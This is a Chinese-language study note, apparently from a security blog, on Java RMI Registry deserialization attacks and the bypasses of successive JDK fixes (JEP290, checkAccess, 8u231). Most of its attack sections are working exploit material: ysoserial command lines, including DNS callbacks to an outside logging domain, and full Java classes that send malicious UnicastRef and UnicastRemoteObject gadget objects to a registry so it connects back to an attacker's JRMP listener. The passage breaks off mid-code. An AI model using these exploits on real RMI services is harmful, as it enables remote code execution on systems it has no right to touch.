run:-1, 2082672303 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

</code></pre>
<p>原理分析：Client处理Server返回的数据时，调用栈如下：同样在  UnicastRef#unmarshalValue 中触发readObject导致反序列化。</p>
<pre><code class="language-plain_text">resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
unmarshalValue:326, UnicastRef (sun.rmi.server)    // trigger here
invoke:175, UnicastRef (sun.rmi.server)
invokeRemoteMethod:194, RemoteObjectInvocationHandler (java.rmi.server)
invoke:148, RemoteObjectInvocationHandler (java.rmi.server)
testAttackRMIClient:-1, $Proxy0 (com.sun.proxy)
test03AttackRMIClient:85, RMIClient (com.example.basicstudy.rmi)
main:36, RMIClient (com.example.basicstudy.rmi)
</code></pre>
<h2><a id="rmiregistry%E7%9A%84%E6%94%BB%E5%87%BB%E6%96%B9%E6%B3%95" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>RMIRegistry的攻击方法</h2>
<h3><a id="%E7%AE%80%E8%BF%B0" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>简述</h3>
<table>
<thead>
<tr>
<th>jdk版本</th>
<th>fix</th>
<th>利用方法</th>
<th>反序列化触发点</th>
</tr>
</thead>
<tbody>
<tr>
<td>&lt;8u121</td>
<td>无</td>
<td>registry.bind(name, remote);  bind一个动态代理的恶意对象<br /><br />参考：ysoserial RMIRegistryExploit</td>
<td>RegistryImpl_Skel#dispatch中 bind之前的readObject</td>
</tr>
<tr>
<td>-</td>
<td>无</td>
<td>自定义dgc请求 <br /><br />参考：ysoserial JRMPClient</td>
<td>DGCImpl_Skel#dispatch的  dirty和clean  前的readObject</td>
</tr>
<tr>
<td>8u121</td>
<td>Jep290<br />- RegistryImpl.java#registryFilter<br />- DGCImpl#checkInput<br />- trustURLCodebase=false</td>
<td>UnicastRef链，让RMIRegistry作为DGC客户端请求恶意的RMIRegistry<br /><br />参考：1）本地利用代码  2）ysoserial JRMPListener</td>
<td>RegistryImpl_Skel<br />#dispatch <br />-&gt; <br />bind之前的var2.releaseInputStream() <br />-&gt; <br />DGCImpl_Stub#dirty</td>
</tr>
<tr>
<td>8u141</td>
<td>RegistryImpl_Skel.java#dispatch中针对bind/rebind等操作增加ACL限制：RegistryImpl#checkAccess</td>
<td>重写RegistryImpl_Stub#lookup，发送Object而非string类型，触发RegistryImpl_Skel#dispatch中lookup中的var2.releaseInputStream</td>
<td>同上<br />不过是lookup之前的 var2.releaseInputStream() <br /></td>
</tr>
<tr>
<td>8u231</td>
<td>1）var2.releaseInputStream前清除反连地址 <br />2）DGCImpl_Stub#dirty/clean前增加白名单</td>
<td>UnicastRemoteObject链（blackhat2019 ）</td>
<td>RegistryImpl_Skel<br />#dispatch lookup前的readObject</td>
</tr>
<tr>
<td>8u241</td>
<td>1）强制类型转换，RegistryImpl_Skel lookup等方法获取String<br />2）修复 UnicastRemoteObject链：<br />RemoteObjectInvocationHandler #invokeRemoteMethod invoke前检查类是否实现Remote接口</td>
<td>- 利用自定义方法</td>
<td></td>
</tr>
</tbody>
</table>
<pre><code class="language-JAVA">    /**
     * 1) jdk  &lt; 8u121  fix：无
     *                  利用1： registry.bind(name, remote);  bind一个动态代理的恶意对象 触发  RegistryImpl_Skel#dispatch中 bind之前的readObject。（参考ysoserial RMIRegistryExploit）
     *                  利用2： dgc请求  直接触发  DGCImpl_Skel#dispatch的  dirty和clean  前的readObject （参考ysoserial JRMPClient）
     * 2) jdk = 8u121  fix: jep290( RegistryImpl.java#registryFilter、sun.rmi.transport.DGCImpl#checkInput、trustURLCodebase=false），1和2相当于反序列化白名单
     *                 2绕过：利用RegistryImpl白名单中的UnicastRef链 实现二次反序列化，调用releaseInputStream触发DGC请求；在DGCImpl_Stub请求恶意的RMIRegistry反序列化任意类。
     * 2) jdk  = 8u141  fix： RegistryImpl_Skel.java#dispatch中调用RegistryImpl#checkAccess 地址检测
     *                 3绕过1：重写RegistryImpl_Stub#lookup，发送Object而非string类型，触发RegistryImpl_Skel#dispatch中bind中的readObject
     *                 绕过2：不进入oldDispatch，调用自定义方法（Registry.bind)
     * 3) jdk  = 8u231  fix： 1）RegistryImpl_Skel中触发JRMP反连前（StreamRemoteCall#releaseInputStream前），清除UnicastRef的反连地址
     *                        2）DGCImpl_Stub#dirty/clean前增加白名单：（DGCImpl_Stub#leaseFilter）
     *                 4绕过：UnicastRemoteObject（blackhat 2019）链
     * 4) jdk  = 8u241  fix： 1）强制类型转换，RegistryImpl_Skel lookup等方法获取String
     *                        2）修复 UnicastRemoteObject链：RemoteObjectInvocationHandler#invokeRemoteMethod invoke前检查类是否实现Remote接口
     *                  绕过：利用自定义方法
     * */
</code></pre>
<h3><a id="1%E3%80%81jdk-8u121%EF%BC%88%E6%97%A0%E4%BB%BB%E4%BD%95%E9%99%90%E5%88%B6%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>1、jdk&lt;8u121（无任何限制）</h3>
<h4><a id="1%EF%BC%89rmi-server%E6%94%BB%E5%87%BB-rmi-registry-1099%E7%AB%AF%E5%8F%A3%E2%9C%85%EF%BC%88-bind%E6%81%B6%E6%84%8F%E7%9A%84remote%E5%AF%B9%E8%B1%A1%E5%88%B0%E6%B3%A8%E5%86%8C%E4%B8%AD%E5%BF%83%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>1）RMI Server 攻击RMI Registry  1099端口 ✅ （bind恶意的remote对象到注册中心）</h4>
<p>原理：RMI Server在注册中心bind一个恶意的remote对象，触发RMI Registry（RegistryImpl_Skel中的反序列化）<br />
攻击方法：ysoserial RMIRegistryExploit ,参考链接1</p>
<pre><code class="language-plain_text">java  -cp ~/Downloads/ysoserial-all.jar   ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1099 URLDNS http://testycx.d.s.dlsr.icu
</code></pre>
<p>攻击代码：ysoserial.exploit.RMIRegistryExploit<br />
<img src="media/15891848112325/17150903033748.jpg" alt="" /></p>
<p>核心逻辑：ysoserial.exploit.RMIRegistryExploit<br />
反射获取对应的恶意序列化对象（payloadObj.getObject(command);） -&gt; 放到hashmap中 -&gt; 动态代理  createMemoitizedProxy 把hashmap变成remote对象 -&gt; bind到registry服务中触发反序列化。</p>
<p>为什么要通过动态代理这样做？参考动态代理的原理：<a href="https://xz.aliyun.com/t/9197">https://xz.aliyun.com/t/9197</a> （动态代理相对静态代理，在接口变化时不需要修改委托类和代理类，避免反复修改） （触发过程有点复杂）</p>
<pre><code class="language-java">public static void exploit(final Registry registry,
			final Class&lt;? extends ObjectPayload&gt; payloadClass,
			final String command) throws Exception {
		new ExecCheckingSecurityManager().callWrapped(new Callable&lt;Void&gt;(){public Void call() throws Exception {
			ObjectPayload payloadObj = payloadClass.newInstance();
            Object payload = payloadObj.getObject(command);
			String name = &quot;pwned&quot; + System.nanoTime();

			// 20240507 为什么需要动态代理把恶意对象Map变成remote类型？
			Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
			try {
				registry.bind(name, remote);
			} catch (Throwable e) {
				e.printStackTrace();
			}
			Utils.releasePayload(payloadObj, payload);
			return null;
		}});
</code></pre>
<p>原理分析：参考 RegistryImpl_Skel#dispatch ，触发点在 var10.readObject()</p>
<p><img src="media/15891848112325/17159189021930.jpg" alt="" /></p>
<p>调用栈：</p>
<pre><code class="language-Java">resolveClass:198, MarshalInputStream (sun.rmi.server)      //  MarshalInputStream 非ObjectInputStream（常见的rasp拿不到数据）
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readProxyDesc:1576, ObjectInputStream (java.io)
readClassDesc:1515, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)               // trigger here
oldDispatch:410, UnicastServerRef (sun.rmi.server)  
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 859081915 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
</code></pre>
<h4><a id="2%EF%BC%89rmi-client%E6%94%BB%E5%87%BB-rmi-registry-1099%E7%AB%AF%E5%8F%A3%E2%9C%85%EF%BC%88-dgc%E9%80%9A%E4%BF%A1%EF%BC%9Adgcimpl-skel-dispatch-dirty%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>2）RMI Client 攻击 RMI Registry 1099端口 ✅ （DGC通信：DGCImpl_Skel#dispatch dirty）</h4>
<p>原理：makeDGCCall 攻击 DGCImpl_Skel的dispatch，触发反序列化 参考：<a href="https://zhuanlan.zhihu.com/p/407782929">https://zhuanlan.zhihu.com/p/407782929</a></p>
<blockquote>
<p>makeDGCCall函数发送生成的payload，攻击目标是由RMI侦听器实现的远程DGC（Distributed GarbageCollection，分布式垃圾收集器）。它可以攻击任何RMI侦听器，因为RMI框架采用DGC来管理远程对象的生命周期，通过与DGC通信的方式发送恶意payload让注册中心反序列化。</p>
<p><a href="https://zhuanlan.zhihu.com/p/407782929">https://zhuanlan.zhihu.com/p/407782929</a></p>
</blockquote>
<p>利用：</p>
<pre><code class="language-plain_text">java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 URLDNS http://test.jrmpclient-attack-rmiregistry.s.dlsr.icu

java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPClient 127.0.0.1 1099 CommonsCollections1 &quot;open /System/Applications/Calculator.app&quot;
</code></pre>
<p><img src="./media/15891848112325/17151401058539.jpg" alt="img" /></p>
<p>触发点：DGCImpl_Skel#dispatch的 case0/case1中的readObject</p>
<p><img src="./media/15891848112325/image-20240524001228221.png" alt="image-20240524001228221" /></p>
<p>调用栈：</p>
<pre><code class="language-Java">resolveClass:198, MarshalInputStream (sun.rmi.server)    // 反序列化
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
dispatch:-1, DGCImpl_Skel (sun.rmi.transport)           // trigger here
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:790, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 983939482 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
</code></pre>
<p>思考题：<br />
1、这两个地方的对象是否有区别？比如bind时对象必须要实现Remote接口，DGC时不需要？</p>
<h3><a id="2%E3%80%81jdk-8u121%EF%BC%9A%E6%96%B0%E5%A2%9E-jep290-check%EF%BC%8C%E9%80%9A%E8%BF%87-unicastref%E9%93%BE%E7%BB%95%E8%BF%87" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>2、jdk &gt;= 8u121  ：新增jep290 check，通过 UnicastRef链绕过</h3>
<p>JEP290是什么？</p>
<blockquote>
<p>JEP290是对RMI Registry与RMI DGC做的白名单限制，并没有对JRMP回连逻辑做限制，而白名单中的UnicastRef类会建立JRMP请求并对返回数据做反序列化处理，所以导致二次反序列化问题</p>
<p>原理参考：<a href="https://blog.0kami.cn/blog/2020/rmi-registry-security-problem-20200206/#1-unicastref">https://blog.0kami.cn/blog/2020/rmi-registry-security-problem-20200206/#1-unicastref</a></p>
</blockquote>
<p>JEP290中的限制，RegistryImpl 中增加了反序列化的白名单，因此不在白名单中的类无法反序列化。</p>
<pre><code class="language-java">    private static ObjectInputFilter.Status registryFilter(ObjectInputFilter.FilterInfo var0) {
        if (registryFilter != null) {
            ObjectInputFilter.Status var1 = registryFilter.checkInput(var0);
            if (var1 != Status.UNDECIDED) {
                return var1;
            }
        }

        if (var0.depth() &gt; 20L) {
            return Status.REJECTED;
        } else {
            Class var2 = var0.serialClass();
            if (var2 != null) {
                if (!var2.isArray()) {
                    return String.class != var2 &amp;&amp; !Number.class.isAssignableFrom(var2) &amp;&amp; !Remote.class.isAssignableFrom(var2) &amp;&amp; !Proxy.class.isAssignableFrom(var2) &amp;&amp; !UnicastRef.class.isAssignableFrom(var2) &amp;&amp; !RMIClientSocketFactory.class.isAssignableFrom(var2) &amp;&amp; !RMIServerSocketFactory.class.isAssignableFrom(var2) &amp;&amp; !ActivationID.class.isAssignableFrom(var2) &amp;&amp; !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
                } else {
                    return var0.arrayLength() &gt;= 0L &amp;&amp; var0.arrayLength() &gt; 1000000L ? Status.REJECTED : Status.UNDECIDED;
                }
            } else {
                return Status.UNDECIDED;
            }
        }
    }
</code></pre>
<p>如何绕过？利用白名单中的类，UnicastRef类被证明可利用：可让RMI Registry作为客户端查询 发起DGC请求 恶意的RMI Registry，触发客户端的反序列化。由于DGC请求时的类为DGCImpl_Stub，没有jep290限制，可以反序列化任意类。利用流程：</p>
<p><img src="media/15891848112325/17159433406517.jpg" alt="" /></p>
<p>利用方式点：</p>
<p>1、 构造一个恶意的RMI Registry，监听在10999端口</p>
<pre><code class="language-plain_text">java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 &quot;open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator&quot;
</code></pre>
<p>2、 bind 恶意对象（UnicastRef）到Registry ： （对应ysoserial中的 payloads/JRMPClient.java ）</p>
<pre><code class="language-java">package com.example.basicstudy.rmi;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.RMISecurityManager;
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.Random;

public class RMIRegistryExploit8u121UnicastRef  {


    // 1. 开启 JRMPListener （恶意的RMIRegistry）
    // java -cp ~/Downloads/ysoserial-all.jar ysoserial.exploit.JRMPListener 10999 CommonsCollections6 &quot;open -a /System/Applications/Calculator.app/Contents/MacOS/Calculator&quot;

    // 2. 条件：RMIRegistry 没有限制 注册Server的来源 &amp;&amp;  DGCImpl_Stub 没有 白名单限制
    
    public static void main(String args[]) {
        try {
            System.out.println(&quot;[*] rmi server  (RMIRegistryExploit8u121UnicastRef） start...&quot;);

            Registry registry = LocateRegistry.getRegistry(1099);

            ObjID id = new ObjID(new Random().nextInt()); // RMI registry
            TCPEndpoint te = new TCPEndpoint(&quot;127.0.0.1&quot;, 10999);
            UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
            RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
            Registry proxy = (Registry) Proxy.newProxyInstance(RMIRegistryExploit8u121UnicastRef.class.getClassLoader(), new Class[]{Registry.class}, obj); // 可以省略

            registry.rebind(&quot;hello2&quot;, proxy);

            System.err.println(&quot;Server ready&quot;);

        } catch (Exception e) {
            System.err.println(&quot;Server exception: &quot; + e.toString());
            e.printStackTrace();
        }
    }
}

</code></pre>
<p>测试环境：还是用jdk8u40测试，（实际测试 jdk8u191中 DGCImpl_Stub中存在 白名单限制）</p>
<p>利用成功后，RMI Registry会作为客户端发起DGC请求恶意恶意的RMI Registry 10999端口：<br />
<img src="media/15891848112325/17159431845545.jpg" alt="" /></p>
<p>漏洞触发点：在releaseInputStream中触发反序列化</p>
<p><img src="media/15891848112325/image-20240523235539664.png" alt="image-20240523235539664" /></p>
<p>调用栈：</p>
<pre><code class="language-Java">resolveClass:198, MarshalInputStream (sun.rmi.server)
readNonProxyDesc:1613, ObjectInputStream (java.io)
readClassDesc:1518, ObjectInputStream (java.io)
readOrdinaryObject:1774, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)        // end here
executeCall:245, StreamRemoteCall (sun.rmi.transport)
invoke:379, UnicastRef (sun.rmi.server)
dirty:-1, DGCImpl_Stub (sun.rmi.transport)        // 作为客户端，发起dgc请求 
makeDirtyCall:361, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
registerRefs:94, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)   //  var2.releaseInputStream();，在bind之前触发
dispatch:-1, RegistryImpl_Skel (sun.rmi.registry)               // start here： dispatch中的触发点： 
oldDispatch:410, UnicastServerRef (sun.rmi.server)
dispatch:268, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$254:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 419636770 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

// 备注：自测readObject UnicastRef 链 反序列化的触发点不太一样，最终也可以走到DGCImpl_Stub#dirty
dirty:-1, DGCImpl_Stub (sun.rmi.transport)             // DGC Call here
makeDirtyCall:361, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:303, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:139, DGCClient (sun.rmi.transport)
read:312, LiveRef (sun.rmi.transport)
readExternal:493, UnicastRef (sun.rmi.server)          // 
readObject:455, RemoteObject (java.rmi.server)         // trigger here
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeReadObject:1017, ObjectStreamClass (java.io)
readSerialData:1896, ObjectInputStream (java.io)
readOrdinaryObject:1801, ObjectInputStream (java.io)
readObject0:1351, ObjectInputStream (java.io)
readObject:371, ObjectInputStream (java.io)
deserialize:109, DeserializeJDK (com.example.controller)
main:42, RMIRegistryExploit8u121UnicastRef (com.example.basicstudy.rmi)
</code></pre>
<p>利用链原理分析：（略，尝试分析了不过后来发现大概知道原理，能用就行）</p>
<p>1、RemoteObject的readObject方法被重写，最后调用RemoteRef类的 ref.readExternal(in);</p>
<p>2、RemoteObjectInvocationHandler是RemoteObject的之类；UnicastRef是RemoteRef的子类。</p>
<p>UnicastRef链原理：  <a href="https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf">https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf</a></p>
<h3><a id="3%E3%80%81jdk-8u141%EF%BC%88-checkaccess%E6%9D%A5%E6%BA%90%E5%9C%B0%E5%9D%80%E7%BB%95%E8%BF%87%EF%BC%89" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>3、jdk &gt;= 8u141  （checkAccess 来源地址绕过）</h3>
<p>JEP290中针对 RegistryImpl_Skel#dispatch中 在bind unbind rebind操作的开始增加了中checkAccess检查：只允许来源为本地。如：<code>RegistryImpl.checkAccess(&quot;Registry.bind&quot;);</code></p>
<p>如何绕过？UnicastRef链的触发点在 releaseInputStream，因此可以在 lookup处理的case中触发。</p>
<p>如何利用？</p>
<p>1）重写客户端的Registry.lookup函数(RegistryImpl_Stub的lookup参数)，原本只能传输String参数，重写后发送Object发给RMIRegistry反序列化 (触发 RegistryImpl_Skel 中的 lookup 中的releaseInputStream，链依然使用 UnicastRef链触发后续的DGC请求。</p>
<p><img src="media/15891848112325/image-20240525162946676.png" alt="image-20240525162946676" /></p>
<p>重写了lookup方法使其可以传入Object类型的参数<br />
<img src="media/15891848112325/17161991936531.jpg" alt="" /></p>
<p>利用代码：1、重写lookup (参考 RegistryImpl_Stub#lookup的代码重写，能触发 RegistryImpl_Skel的lookup即可）  2、传入UnicastRef链</p>
<pre><code class="language-Java"> public class RMIRegistryExploitBy8u141Bind2LookupBypassCheckAccess {

    public static void main(String[] args) {
        try {
            Registry registry = LocateRegistry.getRegistry(1099);
            // bypass jdk8u121(jep290)  +jdk8u141 (checkAccess)   , restrict: &lt; jdk8u231
            lookupObject(registry, getUnicastRefObject()); // trigger lookup函数

        } catch (Exception e) {
            System.err.println(&quot;Client exception: &quot; + e.toString());
            e.printStackTrace();
        }
    }

    // see also ysoserial.payloads.JRMPClient
    private static Object getUnicastRefObject() {
        ObjID id = new ObjID(new Random().nextInt()); // RMI registry
        TCPEndpoint te = new TCPEndpoint(&quot;127.0.0.1&quot;, 10999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
//        Registry proxy = (Registry) Proxy.newProxyInstance(RMIRegistryExploit8u121UnicastRef.class.getClassLoader(), new Class[]{Registry.class}, obj);
//        return proxy;
        return obj;
    }

    // 本质上是重写了 RegistryImpl_Stub的lookup参数，传了一个Object过去，触发 RegistryImpl_Skel 中的 lookup case（无checkAccess限制）
    public static Remote lookupObject(Registry registry, Object var1) throws Exception {
        // RegistryImpl_Stub#bind
        try {
            // RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L);
            RemoteRef ref = (RemoteRef) Reflections.getFieldValue(registry,&quot;ref&quot;);
            Operation[] operations = new Operation[]{new Operation(&quot;void bind(java.lang.String, java.rmi.Remote)&quot;), new Operation(&quot;java.lang.String list()[]&quot;), new Operation(&quot;java.rmi.Remote lookup(java.lang.String)&quot;), new Operation(&quot;void rebind(java.lang.String, java.rmi.Remote)&quot;), new Operation(&quot;void unbind(java.lang.String)&quot;)};
            RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);

            try {
                ObjectOutput var3 = var2.getOutputStream();
                var3.writeObject(var1);
            } catch (IOException var18) {
                throw new MarshalException(&quot;error marshalling arguments&quot;, var18);
            }

            ref.invoke(var2);

            //处理返回信息的代码逻辑也可以删除
            // ...

            return var23;
        } catch (RuntimeException var19) {
            throw var19;
        } catch (RemoteException var20) {
            throw var20;
        } catch (NotBoundException var21) {
            throw var21;
        } catch (Exception var22) {
            throw new UnexpectedException(&quot;undeclared checked exception&quot;, var22);
        }
    }
}

</code></pre>
<p>调用栈：</p>
<pre><code class="language-Java">resolveClass:189, MarshalInputStream (sun.rmi.server)          
readNonProxyDesc:1868, ObjectInputStream (java.io)
readClassDesc:1751, ObjectInputStream (java.io)
readOrdinaryObject:2042, ObjectInputStream (java.io)
readObject0:1573, ObjectInputStream (java.io)
readObject:431, ObjectInputStream (java.io)      
executeCall:252, StreamRemoteCall (sun.rmi.transport)           // readObject here
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)                     // make dgc call    （fix in jdk8u231）
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)    
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)    //（fix in jdk8u231，类型转换异常时后清除了反连地址，没有需要注册的了）
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)     // also trigger here （lookup中的releaseInputStream）    
dispatch:113, RegistryImpl_Skel (sun.rmi.registry)              
oldDispatch:468, UnicastServerRef (sun.rmi.server)
dispatch:300, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:573, TCPTransport (sun.rmi.transport.tcp)
run0:834, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$0:688, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 578858033 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$5)
doPrivileged:-1, AccessController (java.security)
run:687, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
</code></pre>
<h3><a id="4%E3%80%81jdk-8u231" class="anchor" aria-hidden="true"><span class="octicon octicon-link"></span></a>4、jdk &gt;= 8u231</h3>
<p>8u231的check，修复了unicastref链。如何修复的的？</p>
<p>1、releaseInputStream前增加 discardPendingRefs() ，清除UnicastRef的反连地址。（ConnectionInputStream-&gt;incomingRefTable）</p>
<p><img src="media/15891848112325/image-20240526183355810.png" alt="image-20240526183355810" /></p>
<p>2、DGCImpl_Stub的dirty/clean中的DGCImpl_Stub::leaseFilter中增加反序列化白名单限制。</p>
<pre><code class="language-Java">    private static ObjectInputFilter.Status leaseFilter(ObjectInputFilter.FilterInfo var0) {
        if (var0.depth() &gt; (long)DGCCLIENT_MAX_DEPTH) {
            return Status.REJECTED;
        } else {
            Class var1 = var0.serialClass();
            if (var1 == null) {
                return Status.UNDECIDED;
            } else {
                while(var1.isArray()) {
                    if (var0.arrayLength() &gt;= 0L &amp;&amp; var0.arrayLength() &gt; (long)DGCCLIENT_MAX_ARRAY_SIZE) {
                        return Status.REJECTED;
                    }

                    var1 = var1.getComponentType();
                }

                if (var1.isPrimitive()) {
                    return Status.ALLOWED;
                } else {
                    return var1 != UID.class &amp;&amp; var1 != VMID.class &amp;&amp; var1 != Lease.class &amp;&amp; (var1.getPackage() == null || !Throwable.class.isAssignableFrom(var1) || !&quot;java.lang&quot;.equals(var1.getPackage().getName()) &amp;&amp; !&quot;java.rmi&quot;.equals(var1.getPackage().getName())) &amp;&amp; var1 != StackTraceElement.class &amp;&amp; var1 != ArrayList.class &amp;&amp; var1 != Object.class &amp;&amp; !var1.getName().equals(&quot;java.util.Collections$UnmodifiableList&quot;) &amp;&amp; !var1.getName().equals(&quot;java.util.Collections$UnmodifiableCollection&quot;) &amp;&amp; !var1.getName().equals(&quot;java.util.Collections$UnmodifiableRandomAccessList&quot;) &amp;&amp; !var1.getName().equals(&quot;java.util.Collections$EmptyList&quot;) ? Status.REJECTED : Status.ALLOWED;
                }
            }
        }
    }
</code></pre>
<p>相当于：2个限制导致DGCImpl_Stub的readObject UnicastRef链无法用了。</p>
<p>如何绕过？blackhat2019中的答案：UnicastRemoteObject链。</p>
<p>利用链：</p>
<pre><code class="language-Java">
    private static Object getUnicastRefObject2() throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {

        ObjID id = new ObjID(new Random().nextInt());
        TCPEndpoint te = new TCPEndpoint(&quot;127.0.0.1&quot;, 10999);
        UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
        RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);

        RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
                RMIServerSocketFactory.class.getClassLoader(),
                new Class[]{RMIServerSocketFactory.class, Remote.class},
                obj
        );

        Constructor constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
        constructor.setAccessible(true);
        UnicastRemoteObject unicastRemoteObject = (UnicastRemoteObject) constructor.newInstance(null);
        Field field = UnicastRemoteObject.class.getDeclaredField(&quot;ssf&quot;);
        field.setAccessible(true);
        field.set(unicastRemoteObject, serverSocketFactory);


            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
            objectOutputStream.writeObject(unicastRemoteObject);

